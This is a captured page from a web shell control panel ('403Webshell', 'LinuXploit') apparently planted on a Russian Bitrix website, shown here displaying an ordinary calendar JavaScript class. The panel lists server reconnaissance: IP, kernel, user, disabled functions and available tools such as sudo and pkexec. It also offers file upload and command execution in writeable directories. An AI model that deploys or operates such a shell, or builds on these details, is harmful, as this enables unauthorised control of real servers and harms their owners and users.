403Webshell
Server IP : 80.87.202.40  /  Your IP : 216.73.216.169
Web Server : Apache
System : Linux rospirotorg.ru 5.14.0-539.el9.x86_64 #1 SMP PREEMPT_DYNAMIC Thu Dec 5 22:26:13 UTC 2024 x86_64
User : bitrix ( 600)
PHP Version : 8.2.27
Disable Function : NONE
MySQL : OFF |  cURL : ON |  WGET : ON |  Perl : ON |  Python : OFF |  Sudo : ON |  Pkexec : ON
Directory :  /home/bitrix/ext_www/rospirotorg.ru/bitrix/js/calendar/sectionmanager/src/

Upload File :
current_dir [ Writeable] document_root [ Writeable]

 

Command :


[ Back ]     

Current File : /home/bitrix/ext_www/rospirotorg.ru/bitrix/js/calendar/sectionmanager/src/calendartasksection.js
import { Loc } from 'main.core';
import { CalendarSection } from './calendarsection';

export class CalendarTaskSection extends CalendarSection
{
	constructor(data = {}, {type, userId, ownerId})
	{
		const defaultColor = '#ff5b55';
		let belongToUser = false;
		let defaultName = Loc.getMessage('EC_SEC_USER_TASK_DEFAULT');

		if (type === 'user' && userId === ownerId)
		{
			defaultName = Loc.getMessage('EC_SEC_MY_TASK_DEFAULT');
			belongToUser = true;
		}
		else if(type === 'group')
		{
			defaultName = Loc.getMessage('EC_SEC_GROUP_TASK_DEFAULT');
		}

		super({
			ID: 'tasks',
			NAME: data.name || defaultName,
			COLOR: data.color || defaultColor,
			PERM: {
				edit_section: true,
				view_full: true,
				view_time: true,
				view_title: true
			}
		});

		this.isUserTaskSection = belongToUser;
	}

	isPseudo(): boolean
	{
		return true;
	}

	taskSectionBelongToUser()
	{
		return this.isUserTaskSection;
	}

	updateData(data)
	{
		super.updateData(data);
		this.id = data.ID;
	}
}

Youez - 2016 - github.com/yon3zu
LinuXploit